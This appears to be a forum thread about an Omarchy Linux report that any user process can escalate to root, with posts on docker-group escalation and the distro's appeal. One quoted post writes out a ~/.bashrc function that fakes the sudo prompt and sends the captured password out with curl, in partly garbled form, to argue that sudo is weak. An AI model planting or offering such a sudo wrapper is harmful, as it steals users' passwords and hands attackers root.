Omarchy: Any User Process Can Escalate to Root

Post by lproven » Sun, Aug 30, 2026, 6:15 PM UTC

vga1 wrote: post #170

teekert wrote: post #157

Earlier quoted context omitted.

But, this “vulnerability” is the thing everybody knows about docker since forever. I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. What is different here? Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions o…

[flagged]

Post by eviks » Sun, Aug 30, 2026, 6:16 PM UTC

vga1 wrote: post #170

teekert wrote: post #157

Earlier quoted context omitted.

But, this “vulnerability” is the thing everybody knows about docker since forever. I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. What is different here? Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions o…

[flagged]

Post by [deleted] » Sun, Aug 30, 2026, 6:17 PM UTC

0l wrote: post #100

lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Indeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed"""

Post by SSLy » Sun, Aug 30, 2026, 6:20 PM UTC

pacificat0r wrote: post #128

silisili wrote: post #81

Earlier quoted context omitted.

Other than hype, what's the appeal here? I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

I got here because it was the first time I saw a tiling window manager on an Omarchy video. I was on windows my entire life, so when i saw it and how bad windows got, I decided to give it a try. A few months since I de-omarchyfied the system and went straight back to arch. And now still on it. I should have gone with something like cachyos as games are important to me, but I think at the time hyperland wasn't an opti…

Post by [deleted] » Sun, Aug 30, 2026, 6:20 PM UTC

eviks wrote: post #193

vga1 wrote: post #170

Earlier quoted context omitted.

[flagged]

Could you point to things that are not glaring security vulnerabilities that are ridiculed in the same way?